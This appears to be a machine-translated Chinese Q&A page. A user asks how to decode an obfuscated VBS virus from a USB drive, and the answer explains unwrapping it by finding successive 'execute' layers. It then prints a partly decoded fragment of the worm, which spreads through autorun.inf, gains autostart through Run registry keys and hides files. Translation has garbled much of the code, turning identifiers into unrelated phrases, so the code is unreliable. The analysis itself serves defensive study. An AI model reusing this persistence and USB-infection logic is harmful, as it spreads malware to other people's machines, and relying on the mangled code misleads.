當前位置:商標查詢大全網 - 彩票查詢 - 我去打印室打印,還有這個。u盤上染上了vbs病毒。當我用記事本打開它時,它全都是亂碼,所以我想要解密的源代碼。

我去打印室打印,還有這個。u盤上染上了vbs病毒。當我用記事本打開它時,它全都是亂碼,所以我想要解密的源代碼。

妳好

這是壹個vbs腳本病毒,看起來像亂碼,根本看不懂。其實還是有跡可循的。想法是找到“執行”這個關鍵詞。最後病毒會被機器能理解的東西代替,也就是說execute最後壹層的內容就是病毒的源代碼。根據這個想法,我們可以知道解密方法壹定是在這個execute中。

也就是說:妳不需要知道他是怎麽加密的,只需要知道什麽是execute。

按照這個思路,我們可以得到程序最後壹次叠代加密過程之前的代碼,也就是第壹次叠代解密的代碼,看起來還是亂碼,但同理,我們總能找到關鍵字execute。病毒可能會經歷多次叠代,但最終還是能被理解。

需要註意的是,如果execute後面的內容被解密了,真的用execute執行,那就中了圈套,所以需要註意的是execute不能放進去壹起執行。

下面是我最後解密的代碼片段。

相比BT,這個程序的作者手動加密了很多地方,還手動打亂了代碼,嚴重阻礙了程序的可讀性。

分析完代碼後,它的壹般功能是

1。開機自啟動

2。u盤感染

3。破壞系統的隱藏功能

出錯時繼續下壹步

j="\":til="SY":btj=900:vs= "。vbs":ve= "。vbe ":cm = " % com spec %/c ":dfo = "/u # t/":INF = " \ autorun . INF "

set ws = createobject(" wscript . shell "):set FSO = createobject(" scripting . file system object ")

set wmi = getobject(" winmgmt:\ \。\ root \ CIM v2 "):set sis = wmi . execquery(" select * from win32 _ operating system ")

set DC = FSO . drives:set ATS = wmi . execquery(" select * from win32 _ service where name = ' Schedule ' ")

對於ats中的每個ATC:cat = ATC . state:next:如果cat="Stopped ",則ws.run "net start ""task scheduler " " ",0,false

ouw = wscript . script full name:win = FSO . getspecialfolder(0)amp;j:dir = FSO . getspecialfolder(1)j

tmp=fso.getspecialfolder(2)j:wbe = dir & amp;" wbem\":mir=left(ouw,len(ouw)-len(wscript . script name))

CNR = " \ computer name ":CNP = " HKLM \系統\當前控制集\控制" & amp中國北車集團有限公司。中國北車集團有限公司。cnr:cna=rr (cnp,0):如果cna= " "那麽cna=til

WSC = " wscript . exe ":CSC = " cscript . exe ":CSS = CSC & amp;"//no logo ":wsr = rn & amp;:createobject (""wscript.shell " ")。運行"

c = vbcrlf:Inc = til & amp;c & amp"[自動運行]" & amp;c & amp" open = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell \ open \ command = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell\open\default=1 "

SF = " shell folders \ ":ROP = " \ software \ Microsoft \ windows \ current version \ explorer \ ":DAP = RR(" HKCU " & amp;rop & ampsf & amp“桌面”,0)& amp;j

HKLM軟件公司。cna & ampj:FSP = RR(" HKLM " & amp;rop & ampsf & amp“普通啟動”,0)& amp;強生公司。vs:FAP = RR(" HKCU ";rop & ampsf & amp“收藏夾”,0)& amp;j

ht=ec("ivwt?56 "):ha = EC(":;9:7 & gt;5k w9 "):HB = HL & amp;"1;& lt& lt= 6x " & amphl & amp" r;":hc="0dwuEpE":hd=ec

(" $"+hc):he=ec("c"+hc)

RSP = " HKLM \軟件\微軟\視窗\當前版本\ ":rsb = RSP & amp;" run \ ":RSP = RSP & amp;"策略\資源管理器\運行\ " & ampcanadian nuclear association 加拿大核協會

hip = " HKCU " & amp;rop & amp" advanced \ showsuperhidden ":SZ = lcase(FSO . get filename(wscript . full name)):如果mir=dir,則sys=true

對於中的每個si

sis:ca = si . caption:cs = si . codeset:cc = si . country code:OS = si . OS language:wv = si .版本:next

if instr(wv," 5.2 ")& lt;& gt0然後hb="w"+hb:lb="v "否則如果os & lt& gt2052和cc & lt& gt那就86

HB = " p "+HB:lb = " o " else HB = " d "+HB:lb = " c "

對於dc中的每個d

如果mir = d & ampj然後ws.run " explorer " & ampd,3,false:bir=true

然後

如果bir或sys或mir=win或mir=wbe,則tir=true else wscript.quit

ouc=rt(ouw,-1):ver=gv(ouw):如果ver="" or not isnumeric(ver)那麽msgbox("See You!"):km 1

else km 0

如果sys then

如果sz=wsc,則pr csc,-1

如果pr(csc,2)=1,則wscript.quit

wscript.sleep 2000

如果pr(csc,1)=0,那麽ws.run css & amp導演& ampve,0,false:如果pr(csc,1)=1,則wscript.quit

if rr("til ",1)& lt;& gttil然後wr "til ",til:wr "tjs ",btj:wr "djs ",date-1:wr "ded ",0

djs=rr("djs ",1):if is date(DJs)and date-cdate(DJs)>50磅& lt& gt“o”然後wr“OSW”,4

如果rr("atd ",1)=1那麽ws.run "at /d /y ",0,false:wr "atd ",0

le=rr("dna ",1):if ei(tmp & amp;le,1)然後ws.run tmp & amp務實貿易(Labor Exchange)?低爆速炸藥(Low Explosive)?職業介紹所(Labour Exchange)

cu:er 10

其他

wscript.sleep 5000

如果pr(wsc,2)=2那麽:如果rr("tjc ",1)=cstr(date)那麽:wscript.quit:else:wr "tjc ",date

如果pr(csc,1)& lt;& gt1或pr(wsc,1)=0,則bf dir & ampve,ouc,7:ws . run CSS & amp;導演& ampve,0,false

如果…就會結束

如果pa=1,那麽rna = rpa & amp核糖核酸

rr=ws.regread(rna)

如果er(0)則rr=0

for I = 1 to len(wt):EC = EC+chr(ASC(mid(wt,I,1))-i):下壹個

因為像JS壹樣,VBS是壹種解釋性語言,代碼從上到下逐行運行。所以理解這種代碼的技巧是:

當我們尋找解密入口點時,我們應該優先考慮最後壹次執行。作者大量使用邏輯拼接。。。屬於非常BT的加密。。。焦急...